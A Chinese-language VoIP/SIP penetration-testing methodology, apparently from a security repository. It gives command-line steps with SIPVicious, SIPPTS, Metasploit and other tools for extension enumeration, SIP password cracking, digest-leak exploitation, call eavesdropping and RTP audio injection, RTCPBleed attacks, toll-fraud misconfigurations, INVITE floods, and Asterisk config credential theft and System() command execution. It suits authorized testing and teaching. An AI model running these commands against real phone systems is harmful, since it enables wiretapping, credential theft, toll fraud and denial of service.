wgpsec/voip-pentesting

VoIP/SIP 渗透测试方法论

深入参考

• SIP 协议详解、SIPVicious 工具链、RTP 注入/窃听、Asterisk 配置审计 -> 读 references/voip-techniques.md

---

整体决策树

VoIP 基础设施渗透测试
├─ Phase 1: 服务发现
│   ├─ SIP 端口扫描 (5060 UDP/TCP, 5061 TLS)
│   ├─ svmap / SIPPTS scan / Nmap -> SIP 设备发现
│   ├─ PBX 附属服务 (TFTP/HTTP/MySQL/LDAP)
│   └─ Google Dorks -> 暴露的 VoIP 管理界面
├─ Phase 2: SIP 枚举
│   ├─ 方法枚举 (OPTIONS / SIPPTS enumerate)
│   ├─ 分机枚举 (svwar / SIPPTS exten)
│   ├─ 响应头分析 -> 指纹识别
│   └─ 电话号码 OSINT
├─ Phase 3: 认证攻击
│   ├─ 在线密码爆破 (svcrack / SIPPTS rcrack)
│   ├─ 离线摘要破解 (sipdump + sipcrack)
│   ├─ SIP Digest Leak 漏洞利用
│   └─ 默认凭据
├─ Phase 4: 通话劫持与窃听
│   ├─ 网络嗅探 (Wireshark / ucsniff)
│   ├─ ARP 欺骗 -> MitM -> RTP 捕获
│   ├─ ChanSpy / ExtenSpy (Asterisk 监听)
│   ├─ RTP 注入 (rtpinsertsound / rtpmixsound)
│   └─ DTMF 码提取 (voicemail 密码)
├─ Phase 5: 安全协议分析
│   ├─ TLS 使用 -> SIP 通信加密
│   ├─ SRTP 使用 -> RTP 通信加密
│   ├─ ZRTP 使用 -> 端到端加密
│   └─ 未加密 -> 完全可嗅探
├─ Phase 6: 已知漏洞与攻击
│   ├─ RTCPBleed (RTP 代理 NAT 绕过)
│   ├─ Asterisk 配置错误 (免费拨号)
│   ├─ 分机注入
│   ├─ Click2Call 滥用
│   └─ OS/固件漏洞 (FreePBX / Elastix)
└─ DoS 攻击
    ├─ SIP INVITE Flood
    ├─ RTP Flood
    └─ IAX Flood

---

Phase 1: 服务发现

1.1 网络扫描

# Nmap SIP 方法扫描
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24

# svmap (SIPVicious) — SIP 设备发现
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
# --fp: 指纹识别
# 注意: 默认 User-Agent 为 "friendly-scanner"，容易被阻断

# SIPPTS scan — 高速 SIP 扫描 (UDP/TCP/TLS)
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

# Metasploit
use auxiliary/scanner/sip/options_tcp     # TCP
use auxiliary/scanner/sip/options         # UDP

1.2 附属服务检查

PBX 可能暴露的服务
├─ 69/UDP (TFTP) -> 固件更新文件
├─ 80/443 (HTTP/HTTPS) -> Web 管理界面
├─ 389 (LDAP) -> 用户信息
├─ 3306 (MySQL) -> 数据库
├─ 5038 (Asterisk Manager) -> 管理接口
├─ 5222 (XMPP) -> 即时消息
└─ 5432 (PostgreSQL) -> 数据库

1.3 Google Dorks

# Grandstream 设备
intitle:"Grandstream Device Configuration" Password

# Cisco CallManager
inurl:"ccmuser/logon.asp"

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle:"FreePBX"

---

Phase 2: SIP 枚举

2.1 方法枚举

# SIPPTS enumerate — 发现 PBX 支持的 SIP 方法
sippts enumerate -i 10.10.0.10

# 自定义消息发送与响应分析
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp

# WebSocket SIP
sippts wssend -i 10.10.0.10 -r 443 -path /ws

2.2 分机枚举

# svwar (SIPVicious) — SIP 分机枚举
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER

# SIPPTS exten — 大范围分机扫描
sippts exten -i 10.10.0.10 -r 5060 -e 100-200

# Metasploit
use auxiliary/scanner/sip/enumerator_tcp  # TCP
use auxiliary/scanner/sip/enumerator      # UDP

# enumiax — IAX 协议用户名枚举
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10

---

Phase 3: 认证攻击

3.1 在线密码爆破

# svcrack (SIPVicious)
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080
svcrack -u100 -r1-9999 -z4 10.0.0.1   # 分机范围检查

# SIPPTS rcrack — 多用户/多 IP 密码破解
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

注意: 用户名可能与分机号相同，也可能不同，取决于 PBX 配置。

3.2 离线摘要破解

# 从 pcap 提取 SIP 摘要认证
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt

# SIPPTS dump + dcrack
sippts dump -f capture.pcap -o data.txt
sippts dcrack -f data.txt -w wordlist/rockyou.txt

# SIPPTS tshark — 从 pcap 提取 SIP 数据
sippts tshark -f capture.pcap [-filter auth]

3.3 SIP Digest Leak 漏洞

利用 SIP 电话固有的漏洞，诱使其泄露摘要认证响应：

# SIPPTS leak — 自动利用 SIP Digest Leak
sippts leak -i 10.10.0.10

攻击流程：

1. 攻击者发送 INVITE 到目标电话
2. 目标振铃 -> 有人接听后挂断
3. 目标发送 BYE
4. 攻击者回复 407 要求认证
5. 目标在第二个 BYE 中发送摘要认证
6. 离线破解摘要

---

Phase 4: 通话劫持与窃听

4.1 网络嗅探

# 前提: 位于同一网络 / 可进行 ARP 欺骗
# 工具: Wireshark, tcpdump, ucsniff

# ucsniff — 专为 VoIP 设计的嗅探工具
ucsniff -i eth0

加密检查：

• SIP 使用 TLS -> 无法看到 SIP 通信明文
• 使用 SRTP/ZRTP -> RTP 数据包加密

4.2 Asterisk 监听功能

# ChanSpy — 监听所有通话
# 配置: exten => 333,1,ChanSpy('all',qb)
# 拨打 333 即开始监听，按 * 切换通话

# ExtenSpy — 监听指定分机
# 录制通话到文件
# [recorded-context]
# exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
# exten => _X.,2,MixMonitor(${NAME})

4.3 RTP 注入

# rtpinsertsound — 向通话注入音频
sudo apt install rtpinsertsound
rtpinsertsound <target_ip> <rtp_port> audio.wav

# rtpmixsound — 混合音频到通话
sudo apt install rtpmixsound

# DTMF 码提取 (语音信箱密码)
multimon -a DTMF -t wac pin.wav

---

Phase 5: 安全协议分析

5.1 加密状态决策树

通信加密评估
├─ SIP 信令
│   ├─ 明文 (UDP/TCP 5060) -> 可嗅探所有信令
│   └─ TLS (5061) -> 信令加密
├─ RTP 媒体流
│   ├─ 明文 RTP -> 可捕获并播放通话
│   ├─ SRTP -> 媒体加密
│   └─ ZRTP -> 端到端加密
└─ 风险评估
    ├─ 全明文 -> 高风险 (完全可窃听)
    ├─ 仅 SIP TLS -> 中风险 (媒体仍可截获)
    └─ TLS + SRTP/ZRTP -> 低风险

---

Phase 6: 已知漏洞与攻击

6.1 RTCPBleed

RTP 代理的 NAT 穿越学习模式缺乏认证，攻击者可发送 RTP 包劫持媒体流：

# 检测 RTP Bleed
sippts rtpbleed -i 10.10.0.10
sippts rtcpbleed -i 10.10.0.10

# 利用 RTP Bleed Flood
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v

# 注入音频
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav

6.2 Asterisk 配置错误

免费拨号风险评估
├─ type=friend + insecure=port,invite
│   └─ 任何人可连接并拨打外部号码
├─ allowguest=true (sip.conf 默认)
│   └─ 无认证用户可拨打
├─ 默认 context 包含外部拨号规则
│   └─ include => external (含 Dial(SIP/trunk/${EXTEN}))
└─ IVRS 分机长度未校验
    └─ 输入完整电话号码拨出

6.3 分机注入

# 旧版 Asterisk: ${EXTEN} 可注入
# 输入 101&SIP123123123 -> 同时拨打 101 和 123123123
# 通过绕过匹配的分机名注入外部号码

6.4 未授权 INVITE 检测

# SIPPTS invite — 检测未认证拨号
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v

# 呼叫转移
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444

---

DoS 攻击

# SIP INVITE Flood
sippts flood -i 10.10.0.10 -m invite -v

# SIP Ping (响应时间测试)
sippts ping -i 10.10.0.10

# IAX Flood
iaxflood <target>

# INVITE Flood (独立工具)
inviteflood <interface> <target> <port>

# SIPp (SIP 流量生成器)
sipp -sf scenario.xml <target>:5060

---

Asterisk 后渗透

配置文件与凭据

关键文件
├─ sip.conf -> SIP 用户密码
├─ extensions.conf -> 拨号计划
├─ manager.conf -> AMI 管理密码
├─ FreePBX:
│   ├─ amportal.conf -> Web 管理员密码
│   └─ FreePBX.conf -> 数据库密码
├─ Elastix:
│   └─ Elastix.conf -> MySQL root / IMAP / Web 管理密码 (明文)
└─ MySQL root 可能无密码

RCE (获取配置写入权限后)

# Asterisk System() 命令
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

# Shell() 命令 (替代 System)
same => n,Shell(command)